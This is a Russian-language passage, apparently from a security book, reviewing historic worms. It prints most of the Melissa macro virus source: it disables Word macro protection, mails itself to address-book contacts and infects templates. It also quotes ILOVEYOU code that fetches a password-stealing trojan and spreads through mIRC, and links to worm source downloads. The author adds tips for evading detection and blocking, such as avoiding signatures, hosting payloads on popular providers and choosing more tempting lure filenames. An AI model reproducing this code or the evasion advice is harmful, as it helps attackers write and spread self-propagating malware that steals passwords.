В прошлом было множество эпидемий вирусов и червей, и ожидается появление новых версий вредоносного кода. Чтобы разубедить тех, кто верит, что постепенно проблема решится сама собой, поговорим о некоторых современных тенденциях.
Червь Морриса
2 ноября 1988 года различные рабочие станции VAX и SUN стали жертвой первой эпидемии Интернет-червя. Этот червь, названный по фамилии своего создателя Роберта Морриса (Robert Morris), используя переполнение буфера в демоне finger, а также недокументированные команды отладки в почтовой системе sendmail, проник на компьютеры с операционной системой Berkeley UNIX. Результат деятельности данного червя впечатляет. Он подбирает зашифрованные пароли, находящиеся в файле /etc/password (в современных UNIX-системах пароли больше не хранятся в этом файле – прим. перев.), с помощью собственной версии программы crypt() (которая работает примерно в четыре раза быстрее аналогичной системной программы), оснащенной словарем из 432 слов. Затем червь сканирует систему, анализирует базу данных полномочий, используемых для обеспечения безопасности rlogin (для этого используется сканирование файлов. rhosts и hosts.equiv), и пытается атаковать систему, указанную в качестве маршрута по умолчанию в таблицах маршрутизации. Если учесть также различные способы, которые использовались, чтобы воспрепятствовать обнаружению червя, без преувеличения можно сказать, что этот первый опыт в области создания червей производит грандиозное впечатление! Настолько грандиозное, что ему посвящен отдельный документ RFC (RFC 1135).
Для самостоятельного изучения червя его код можно загрузить с сайта www.worm.net/worm-src.tar.gz.
ADMw0rm
Популярная группа хакеров ADM, творения которой в свое время создали проблемы многим пользователям, выпустила червя, использующего переполнение буфера в механизме управления запросами BIND (Berkeley Internet Name Domain – служба доменных имен в сети Internet). Копию этого червя можно бесплатно получить на официальном FTP-сайте группы ADM: ftp:// adm.freelsd.net/ADM.
К счастью для Интернета, этот червь предназначен только для компьютеров с операционной системой Linux; впрочем, вполне может найтись человек, который модифицирует его под другие платформы.
Черви Melissa и I love you
Макровирусы Melissa и I love you часто обсуждались в печатных изданиях. Ведь их воздействие было массированным и привело к огромным денежным потерям (8 млрд долл.!). Каким же образом была достигнута подобная эффективность? Тактика их распространения основывалась на знании психологии пользователей. Черви маскировались под письма от друзей и знакомых, потому что для рассылки своих копий они использовали адресную книгу жертвы. Получая письмо с известным обратным адресом, пользователь обычно испытывает определенное доверие к присланному вложению, поэтому вряд ли будет проверять его антивирусной программой.
Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:
Private Sub Document Open()On Error Resume Next
Червь Melissa инфицирует макрос Document_Open() в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open(). То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) <> “”
Then
CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1):
Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End IfВ этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, – это позволяет червю беспрепятственно продолжить свою работу.
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\”,
“Melissa?”) <> “... by Kwyjibo” ThenЧервь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo =
AddyBook.AddressEntries.Count
Next ooЗатем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.
BreakUmOffASlice.Subject = “Important Message From ” &
Application .UserName
BreakUmOffASlice.Body = “Here is that document you asked for
... don’t show anyone else ;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.SendА вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software
\Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”
End IfЗавершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYAЗатем Melissa проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA). Если же результат отрицательный, червь заражает эти файлы:
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End IfЛегко понять, как червь Melissa влияет на функцию Document_Open() активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close(). Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, “Document”) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)
Then ActiveDocument.Saved = True
End IfДействие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.
‘WORD/Melissa written by Kwyjibo
‘ Works in both Word 2000 and Word 97
‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <—> Word 2000 ... it”s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo
points, plus triple-word-score, plus fifty points for
using all my letters. Game’s over. I’m outta here.”
End SubЗатем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.
Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.
К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.
Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода:num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~young1s/
HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbv
YT/WIN-BUGSFIX.exe
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~angelcat/
skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~koichi/
jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WINBUGSFIX.
exe
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~chu/
sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjas
fdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WINBUGSFIX.
exe
end if
end ifПрограмма WIN-BUGSFIX.exe является Троянским конем, предназначенным для похищения чужих паролей. А все адреса находятся на сайте www.skyinet.net. Это могло помешать быстрому распространению червя, так как многие администраторы просто закрыли доступ на указанный сайт. Это, конечно, очень неприятно для www.skyinet.net, однако позволяет администраторам контролировать ситуацию. Но представим, что создатель вируса использует ссылку на одного из популярных провайдеров, создав, к примеру, пользовательскую страницу на aol.com, yahoo.com или hotmail.com. Будет ли администратор и в этом случае блокировать доступ? Скорее всего, нет.
Кроме того, если бы создатели сайта skyinet.net были умнее, они бы заменили Троянскую программу WIN-BUGSFIX.exe приложением для борьбы с I love you, которое действительно уничтожает этого червя. Таким образом, они привели бы в действие Троянского коня для Троянского коня.
Червь I love you, кроме всего прочего, вносит изменения в конфигурационные файлы приложения mIRC, которое является популярным IRC-клиентом для Windows:if (s=“mirc32.exe”) or (s=“mlink32.exe”) or (s=“mirc.ini”)
or (s=“script.ini”) or (s=“mirc.hlp”) then
set scriptini=fso.CreateTextFile(folderspec&“\script.ini”)
scriptini.WriteLine “[script]”
scriptini.WriteLine “;mIRC Script”
scriptini.WriteLine “; Please dont edit this script... mIRC
will corrupt, if mIRC will”
scriptini.WriteLine “ corrupt... WINDOWS will affect and
will not run correctly. thanks”
scriptini.WriteLine “;”
scriptini.WriteLine “;Khaled Mardam-Bey”
scriptini.WriteLine “;http://www.mirc.com”
scriptini.WriteLine “;”
scriptini.WriteLine “n0=on 1:JOIN:#:{”
scriptini.WriteLine “n1= /if ( $nick == $me ) { halt }”
scriptini.WriteLine “n2= /.dcc send $nick
“&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM”
scriptini.WriteLine “n3=}”
scriptini.closeВнесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.